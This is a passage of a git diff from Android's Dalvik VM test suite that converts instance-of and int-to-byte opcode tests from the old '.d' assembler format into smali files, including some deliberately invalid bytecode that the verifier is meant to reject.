+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+.super Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperClass.smali
new file mode 100644
index 0000000..2d71e83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperClass.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface.smali
new file mode 100644
index 0000000..879ce45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface2.smali
new file mode 100644
index 0000000..599824c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface2.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/T_instance_of_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/T_instance_of_2.smali
new file mode 100644
index 0000000..43f19b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/T_instance_of_2.smali
@@ -0,0 +1,113 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_2;
+.super Ljava/lang/Object;
+.source "T_instance_of_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 20
+
+    const v0, 0x0
+
+# (SubClass instanceof SuperClass)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    if-eqz v15, :cond_4b
+
+# (SubClass[] instanceof SuperClass[])
+    const v11, 0x1
+
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    if-eqz v15, :cond_4b
+
+# (SubClass[] instanceof Object)
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, Ljava/lang/Object;
+
+    if-eqz v15, :cond_4b
+
+# (SubClass instanceof SuperInterface)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+
+    if-eqz v15, :cond_4b
+
+# !(SuperClass instanceof SubClass)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    if-nez v15, :cond_4b
+
+# !(SubClass instanceof SuperInterface2)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface2;
+
+    if-nez v15, :cond_4b
+
+# !(SubClass[] instanceof SuperInterface)
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+
+    if-nez v15, :cond_4b
+
+# !(SubClass[] instanceof SubClass)
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    if-nez v15, :cond_4b
+
+# !(SuperClass[] instanceof SubClass[])
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    instance-of v15, v10, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    if-nez v15, :cond_4b
+
+    const v0, 0x1
+
+    :cond_4b
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.smali
new file mode 100644
index 0000000..b54649d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_3;
+.super Ljava/lang/Object;
+.source "T_instance_of_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    instance-of v0, p0, Ldot/junit/opcodes/instance_of/TestStubs;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.smali
new file mode 100644
index 0000000..9136f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_4.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_4;
+.super Ljava/lang/Object;
+.source "T_instance_of_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)V
+    .registers 5
+
+    instance-of v0, p1, Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.smali
new file mode 100644
index 0000000..0985f51
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_5.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_5;
+.super Ljava/lang/Object;
+.source "T_instance_of_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)V
+    .registers 5
+
+    const p0, 0x4d2
+
+    instance-of v1, p0, Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.smali
new file mode 100644
index 0000000..28de100
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_6;
+.super Ljava/lang/Object;
+.source "T_instance_of_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)V
+    .registers 5
+
+    instance-of v0, p2, Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.smali
new file mode 100644
index 0000000..bec6153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_7;
+.super Ljava/lang/Object;
+.source "T_instance_of_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    instance-of v0, p0, Ldot/junit/opcodes/instance_of/Test_instance_ofN;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.d
deleted file mode 100644
index 2853ade..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_8.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-       const-wide v0, 1234
-       check-cast v0, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali
new file mode 100644
index 0000000..79b9c9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_instance_of_8.java"
+.class  public Ldot/junit/opcodes/instance_of/d/T_instance_of_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const-wide v0, 1234
+       check-cast v0, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.d
deleted file mode 100644
index bfbd201..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_1.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       int-to-byte v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali
new file mode 100644
index 0000000..fa05450
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_1.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.d
deleted file mode 100644
index 6d18c51..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_2.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-byte v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali
new file mode 100644
index 0000000..8d6de7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_2.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-byte v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.d
deleted file mode 100644
index 6136a49..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_3.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-byte v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali
new file mode 100644
index 0000000..4aa4255
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_3.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       const-wide v0, 1234
+       int-to-byte v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.d
deleted file mode 100644
index 5049465..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_4.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       int-to-byte v2, v3
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali
new file mode 100644
index 0000000..d0e8d08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_4.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v2, v3
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.d
deleted file mode 100644
index 78fa37c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_5.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_5
-.super java/lang/Object
-
-
